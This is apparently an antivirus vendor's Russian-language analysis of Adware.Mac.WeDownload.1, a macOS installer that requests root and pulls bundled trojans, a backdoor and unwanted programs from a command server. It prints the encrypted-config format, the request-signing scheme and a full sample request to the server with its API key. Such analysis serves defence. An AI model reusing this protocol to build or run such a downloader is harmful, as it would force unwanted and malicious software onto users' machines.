Загрузчик «партнерских» приложений для Mac OS X, имеет следующую цифровую подпись: "Developer ID Application: Simon Max (GW6F4C87KX)". Путь к папке сборки на компьютере разработчика:
/Users/bogdancarmanus/Sites/download-manager-mac/DownloadManager/
Структура DMG образа имеет следующий вид:
Installer.app
.app
где ".app" - это зашифрованный конфигурационный файл. Для шифрования используется кодировка base64 (на выходе получается строка в кодировке utf-8) и алгоритм RC4. Пример файла конфигурации:
{
"program_name": "Adobe Flash Player",
"mirrors": ["http:\/\/fpdownload.macromedia.com\/get\/flashplayer\/pdc\/17.0.0.134\/install_flash_player_osx.dmg"],
"api_key": "046073b03739711e23d9c307b94707b46e435467",
"icon_url": "https:\/\/d1sx0cjuasqkw9.cloudfront.net\/installer-icons\/245\/046073b03739711e23d9c307b94707b46e435467.jpeg",
"properties": {
"program_name": "Adobe Flash Player",
"prg": "7ltLcPzz_KAYIbT3rB0-wLaIytmcWoShM2U8I3yo8_K9HZfdYtzMPGsr4imyRhHz_MQa1mykPxKIf1OZ4HfsmUrhD4wsWABUbUrtKgiTptiN46xVxTRxO6ZW5epAVQl3vCYBUWhG_GN7KvVhQEyviVYYOUlcHA0pb7gRcN_E08HfrecprCGvemEb4xHF29ko9qshW2F4VDpEUS4b-wDBZPVm7owfXLNbrn35mKh5vrrOE2rs4IpBpje6XO_XGLGs"
},
"download_manager_identifier": 1442281855,
"license": "",
"version": "",
"size": "",
"file_name": "Adobe_Flash_Player.dmg",
"disable_root": "false",
"browser": "Google Chrome"
}
В процессе установки Adware.Mac.WeDownload.1 запрашивает права суперадминистратора операционной системы и последовательно обращается для загрузки главного окна приложения к трем управляющим серверам, адреса которых «зашиты» в его конфигурационном файле. Если ни один из удаленных узлов не ответил, установщик завершает свою работу.
В случае успешного получения отклика Adware.Mac.WeDownload.1 отсылает на управляющий сервер POST-запрос, содержащий конфигурационные данные загрузчика в формате JSON (JavaScript Object Notation), а в ответ получает HTML-страницу с содержимым демонстрируемого пользователю окна. Все дальнейшие GET- и POST-запросы установщик снабжает меткой текущего времени и цифровой подписью, которая имеет вид:
s=<len>-<hash>r
где len - длина подписываемых данных, hash - хэш данных HMAC_SHA256 с использованием ключа, «зашитого» в приложение. Затем установщик отправляет на управляющий сервер запрос для получения списка файлов:
GET /eligibility.php?api_key=046073b03739711e23d9c307b94707b46e435467&os=mac&properties[program_name]=Adobe%20Flash%20Player&properties[prg]=7ltLcPzz_KAYIbT3rB0-wLaIytmcWoShM2U8I3yo8_K9HZfdYtzMPGsr4imyRhHz_MQa1mykPxKIf1OZ4HfsmUrhD4wsWABUbUrtKgiTptiN46xVxTRxO6ZW5epAVQl3vCYBUWhG_GN7KvVhQEyviVYYOUlcHA0pb7gRcN_E08HfrecprCGvemEb4xHF29ko9qshW2F4VDpEUS4b-wDBZPVm7owfXLNbrn35mKh5vrrOE2rs4IpBpje6XO_XGLGs&dl_id=1442281855&browser=Safari&os_version=10.9&t=1442327369&s=454-11a7d7d9739c3d34991058e8b3f8f4a999634ab6fe6614754be301520c74226br HTTP/1.1
Host: api.xtrdlapi.com
Referer: http://api.xtrdlapi.com/interface/mac/?v=4
Accept-Encoding: gzip, deflate
Accept: application/json, text/plain, */*
Accept-Language: en-us
Connection: keep-alive
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.78.2 (KHTML, like Gecko)
где api_key, dl_id, properties[program_name], properties[prg] - параметры из конфигурационного файла, browser - установленный браузер по-умолчанию, os_version - версия ОС.
В ответ сервер отсылает блок данных в формате JSON (JavaScript Object Notation), содержащий список приложений для установки. Среди них замечены следующие:
- MacKeeper (Program.Unwanted.MacKeeper);
- Crossrider (Mac.Trojan.Crossrider);
- Genieo (Mac.Trojan.Genieo);
- Conduit (Trojan.Conduit);
- Advanced Mac Cleaner (Program.Mac.Unwanted.AMC);
- Yahoo Search (смена поиска по умолчанию на Yahoo с указанием ID партнера);
- ZipCloud (Program.Mac.Unwanted.ZipCloud);
- MacBooster (Program.Unwanted.MacBooster);
- TuneUpMyMac (Program.Unwanted.TuneUpMymac);
- PremierOpinion (Mac.BackDoor.OpinionSpy);
- InstallCore (Adware.Mac.InstallCore).
Количество и состав устанавливаемых программ зависит от географической «привязки» IP-адреса жертвы. Если список приложений пуст, пользователю не будет предложено для установки ничего сверх того, что он изначально желал скачать.